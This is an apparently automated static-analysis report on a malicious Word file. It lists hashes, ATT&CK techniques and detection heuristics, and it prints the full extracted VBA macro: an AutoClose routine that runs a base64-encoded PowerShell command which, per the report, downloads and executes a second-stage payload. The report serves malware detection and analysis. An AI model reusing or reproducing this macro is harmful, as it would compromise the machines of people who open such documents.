Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ea659a87bcbe80b5…

MALICIOUS

Office (OOXML)

254.1 KB Created: 2021-06-21 12:33:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-30
MD5: f123a68eea92b34d76f0ca0b677419bd SHA-1: 986a2c9dfdf9197271a6d452a966ee6ad0f52e2b SHA-256: ea659a87bcbe80b55637d655ddf177a07f2f817567a23bafab8de63d3e0ad635
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute an AutoClose function. This function constructs and executes a PowerShell command. The PowerShell command appears to be heavily obfuscated but is designed to download and execute a second-stage payload. The use of WScript.Shell and CreateObject further indicates malicious intent.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Kk = Kk + "ACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA="
        Set asd = CreateObject("WScript.Shell")
        asd.Run (Kk)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            Dim Kk As String
        Kk = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        Kk = Kk + "BFAHIAcwBpAG8AbgBUAEEAQgBsAGUALgBQAFMAVgBlAHIAUwBp"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Kk = Kk + "ACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA="
        Set asd = CreateObject("WScript.Shell")
        asd.Run (Kk)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoClose()
        m
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8179 bytes
SHA-256: b6985c08093ba8ee36ad0749e5992733f24cb24643c7b50c38961e7ded69d0af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
        m
End Sub

Public Function m() As Variant
        Dim Kk As String
        Kk = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        Kk = Kk + "BFAHIAcwBpAG8AbgBUAEEAQgBsAGUALgBQAFMAVgBlAHIAUwBp"
        Kk = Kk + "AG8AbgAuAE0AQQBqAG8AUgAgAC0AZwBFACAAMwApAHsAJABiAG"
        Kk = Kk + "UAMgBlADMAPQBbAFIARQBGAF0ALgBBAHMAcwBlAG0AQgBsAFkA"
        Kk = Kk + "LgBHAEUAdABUAHkAUABFACgAJwBTAHkAcwB0AGUAbQAuAE0AYQ"
        Kk = Kk + "BuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBu"
        Kk = Kk + "AC4AVQB0AGkAbABzACcAKQAuACIARwBlAFQARgBJAGUAYABsAG"
        Kk = Kk + "QAIgAoACcAYwBhAGMAaABlAGQARwByAG8AdQBwAFAAbwBsAGkA"
        Kk = Kk + "YwB5AFMAZQB0AHQAaQBuAGcAcwAnACwAJwBOACcAKwAnAG8Abg"
        Kk = Kk + "BQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkARgAo"
        Kk = Kk + "ACQAYgBlADIARQAzACkAewAkADgARgBhADEAQgA9ACQAQgBFAD"
        Kk = Kk + "IARQAzAC4ARwBFAHQAVgBhAEwAVQBFACgAJABOAHUATABMACkA"
        Kk = Kk + "OwBJAGYAKAAkADgAZgBhADEAYgBbACcAUwBjAHIAaQBwAHQAQg"
        Kk = Kk + "AnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdACkAewAk"
        Kk = Kk + "ADgARgBBADEAYgBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG"
        Kk = Kk + "8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwA"
        Kk = Kk + "ZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZw"
        Kk = Kk + "BpAG4AZwAnAF0APQAwADsAJAA4AGYAQQAxAGIAWwAnAFMAYwBy"
        Kk = Kk + "AGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnAC"
        Kk = Kk + "cAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8A"
        Kk = Kk + "YwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZw"
        Kk = Kk + "AnAF0APQAwAH0AJABWAEEAbAA9AFsAQwBPAGwAbABlAEMAVABJ"
        Kk = Kk + "AE8ATgBzAC4ARwBFAG4AZQBSAEkAYwAuAEQAaQBDAHQAaQBvAG"
        Kk = Kk + "4AYQByAHkAWwBzAFQAUgBpAG4AZwAsAFMAWQBTAFQAZQBtAC4A"
        Kk = Kk + "TwBiAGoARQBDAFQAXQBdADoAOgBuAEUAdwAoACkAOwAkAHYAYQ"
        Kk = Kk + "BMAC4AQQBkAEQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0"
        Kk = Kk + "AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcALAAwAC"
        Kk = Kk + "kAOwAkAHYAYQBsAC4AQQBkAEQAKAAnAEUAbgBhAGIAbABlAFMA"
        Kk = Kk + "YwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbw"
        Kk = Kk + "BuAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAOABmAGEAMQBC"
        Kk = Kk + "AFsAJwBIAEsARQBZAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE"
        Kk = Kk + "4ARQBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUA"
        Kk = Kk + "cwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcw"
        Kk = Kk + "BcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABTAGMAcgBpAHAAdABC"
        Kk = Kk + "ACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAkAH"
        Kk = Kk + "YAQQBMAH0ARQBsAFMAZQB7AFsAUwBDAFIAaQBwAFQAQgBMAG8A"
        Kk = Kk + "YwBLAF0ALgAiAEcARQBUAEYASQBFAGAATABkACIAKAAnAHMAaQ"
        Kk = Kk + "BnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1"
        Kk = Kk + "AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAdABWAG"
        Kk = Kk + "EAbABVAGUAKAAkAG4AdQBsAEwALAAoAE4AZQB3AC0ATwBiAEoA"
        Kk = Kk + "ZQBDAFQAIABDAG8ATABsAGUAYwBUAEkAbwBuAHMALgBHAEUATg"
        Kk = Kk + "BFAFIAaQBjAC4ASABhAFMAaABTAEUAdABbAFMAVABSAGkAbgBn"
        Kk = Kk + "AF0AKQApAH0AJABSAEUARgA9AFsAUgBFAEYAXQAuAEEAUwBTAG"
        Kk = Kk + "UATQBiAEwAeQAuAEcARQBUAFQAeQBQAGUAKAAnAFMAeQBzAHQA"
        Kk = Kk + "ZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQ"
        Kk = Kk + "BhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAn"
        Kk = Kk + "ACkAOwAkAFIARQBmAC4ARwBlAFQARgBJAGUATABkACgAJwBhAG"
        Kk = Kk + "0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcA"
        Kk = Kk + "TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALg"
        Kk = Kk + "BTAGUAdABWAEEAbABVAGUAKAAkAE4AVQBMAGwALAAkAHQAUgB1"
        Kk = Kk + "AEUAKQA7AH0AOwBbAFMAWQBTAFQARQBNAC4ATgBlAHQALgBTAE"
        Kk = Kk + "UAUgB2AEkAYwBlAFAAbwBJAE4AVABNAGEAbgBhAEcAZQByAF0A"
        Kk = Kk + "OgA6AEUAeABQAEUAQwBUADEAMAAwAEMATwBuAFQASQBuAFUARQ"
        Kk = Kk + "A9ADAAOwAkAGUANgBjAGMANQA9AE4ARQB3AC0ATwBCAEoARQBD"
        Kk = Kk + "AFQAIABTAFkAcwB0AEUAbQAuAE4ARQB0AC4AVwBlAGIAQwBsAG"
        Kk = Kk + "kAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4A"
        Kk = Kk + "MAAgACgATABpAG4AdQB4ADsAIABBAG4AZAByAG8AaQBkACAAMQ"
        Kk = Kk + "AwADsAIABNAGkAIABOAG8AdABlACAAMQAwACAATABpAHQAZQAp"
        Kk = Kk + "ACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzAD"
        Kk = Kk + "YAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsA"
        Kk = Kk + "bwApACAAQwBoAHIAbwBtAGUALwA4ADkALgAwAC4ANAAzADgAOQ"
        Kk = Kk + "AuADEAMAA1ACAATQBvAGIAaQBsAGUAIABTAGEAZgBhAHIAaQAv"
        Kk = Kk + "ADUAMwA3AC4AMwA2ACcAOwAkAEUANgBjAEMANQAuAEgAZQBBAE"
        Kk = Kk + "QAZQByAHMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4A"
        Kk = Kk + "dAAnACwAJAB1ACkAOwAkAGUANgBjAGMANQAuAFAAUgBPAHgAeQ"
        Kk = Kk + "A9AFsAUwBZAFMAVABlAG0ALgBOAGUAVAAuAFcAZQBiAFIARQBR"
        Kk = Kk + "AFUAZQBzAHQAXQA6ADoARABlAEYAYQBVAGwAdABXAEUAYgBQAH"
        Kk = Kk + "IATwBYAFkAOwAkAGUANgBjAEMANQAuAFAAUgBPAHgAeQAuAEMA"
        Kk = Kk + "cgBFAGQAZQBOAHQASQBhAEwAUwAgAD0AIABbAFMAWQBzAFQAZQ"
        Kk = Kk + "BtAC4ATgBlAFQALgBDAHIAZQBEAGUAbgBUAGkAQQBMAEMAYQBD"
        Kk = Kk + "AEgARQBdADoAOgBEAGUARgBBAFUAbAB0AE4AZQBUAFcAbwBSAG"
        Kk = Kk + "sAQwBSAGUARABFAE4AdABpAEEATABTADsAJABTAGMAcgBpAHAA"
        Kk = Kk + "dAA6AFAAcgBvAHgAeQAgAD0AIAAkAGUANgBjAGMANQAuAFAAcg"
        Kk = Kk + "BvAHgAeQA7ACQASwA9AFsAUwB5AFMAdABlAG0ALgBUAEUAeABU"
        Kk = Kk + "AC4ARQBOAGMATwBkAEkAbgBHAF0AOgA6AEEAUwBDAEkASQAuAE"
        Kk = Kk + "cARQBUAEIAeQB0AGUAUwAoACcAVAA+AHcAagAtAEUAWAAhAHsA"
        Kk = Kk + "eQAxAFUAaQBWADoAUQBjAHYAdQBuAHIATQA5AHgAWwBfAFcARg"
        Kk = Kk + "BlACMAfgBLACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABB"
        Kk = Kk + "AHIAZwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyAD"
        Kk = Kk + "UANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsA"
        Kk = Kk + "JABLAFsAJABfACUAJABLAC4AQwBPAFUAbgB0AF0AKQAlADIANQ"
        Kk = Kk + "A2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBb"
        Kk = Kk + "ACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAE"
        Kk = Kk + "kAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgA"
        Kk = Kk + "KwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQ"
        Kk = Kk + "AsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAk"
        Kk = Kk + "AEkAXQA7ACQAXwAtAEIAeABPAFIAJABTAFsAKAAkAFMAWwAkAE"
        Kk = Kk + "kAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQA"
        Kk = Kk + "dAA9ACcARgBMAHQAVQBzAGIAUwAzAG8AcQBjAEEAQQBBAEEAQQ"
        Kk = Kk + "BBAEEAQQBBAEEAWgBfADgANgBCAEEASwBHAGsASwBQAE4ASABl"
        Kk = Kk + "AEIAUwBWADgARQBUAEQAYwBxAEYAagBsAEQAZwBhAGcAcgB2AG"
        Kk = Kk + "kAQwBFAHcAMABWAFYANgBFAGMAbgAnADsAJABFADYAYwBDADUA"
        Kk = Kk + "LgBIAGUAYQBkAEUAcgBTAC4AQQBEAEQAKAAiAEEAdQB0AGgAbw"
        Kk = Kk + "ByAGkAegBhAHQAaQBvAG4AIgAsACIAQgBlAGEAcgBlAHIAIAAk"
        Kk = Kk + "AHQAIgApADsAJABFADYAQwBjADUALgBIAGUAQQBEAGUAcgBTAC"
        Kk = Kk + "4AQQBEAGQAKAAiAEQAcgBvAHAAYgBvAHgALQBBAFAASQAtAEEA"
        Kk = Kk + "cgBnACIALAAnAHsAIgBwAGEAdABoACIAOgAiAC8ARQBuAGUAcg"
        Kk = Kk + "BnAHkALwBzAHQAYQBnAGkAbgBnAC8AZABlAGIAdQBnAHAAcwAi"
        Kk = Kk + "AH0AJwApADsAJABEAGEAdABhAD0AJABFADYAQwBDADUALgBEAG"
        Kk = Kk + "8AdwBuAGwAbwBBAEQARABhAFQAQQAoACcAaAB0AHQAcABzADoA"
        Kk = Kk + "LwAvAGMAbwBuAHQAZQBuAHQALgBkAHIAbwBwAGIAbwB4AGEAcA"
        Kk = Kk + "BpAC4AYwBvAG0ALwAyAC8AZgBpAGwAZQBzAC8AZABvAHcAbgBs"
        Kk = Kk + "AG8AYQBkACcAKQA7ACQASQB2AD0AJABEAGEAdABhAFsAMAAuAC"
        Kk = Kk + "4AMwBdADsAJABkAEEAdABBAD0AJABEAGEAVABhAFsANAAuAC4A"
        Kk = Kk + "JABEAGEAdABhAC4AbABlAE4ARwBUAGgAXQA7AC0ASgBvAGkAbg"
        Kk = Kk + "BbAEMAaABhAFIAWwBdAF0AKAAmACAAJABSACAAJABEAEEAdABB"
        Kk = Kk + "ACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA="
        Set asd = CreateObject("WScript.Shell")
        asd.Run (Kk)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 20657c7da5149507db1c410432cacb916fb109616f74ade4d95caeb2d9dc5dc1

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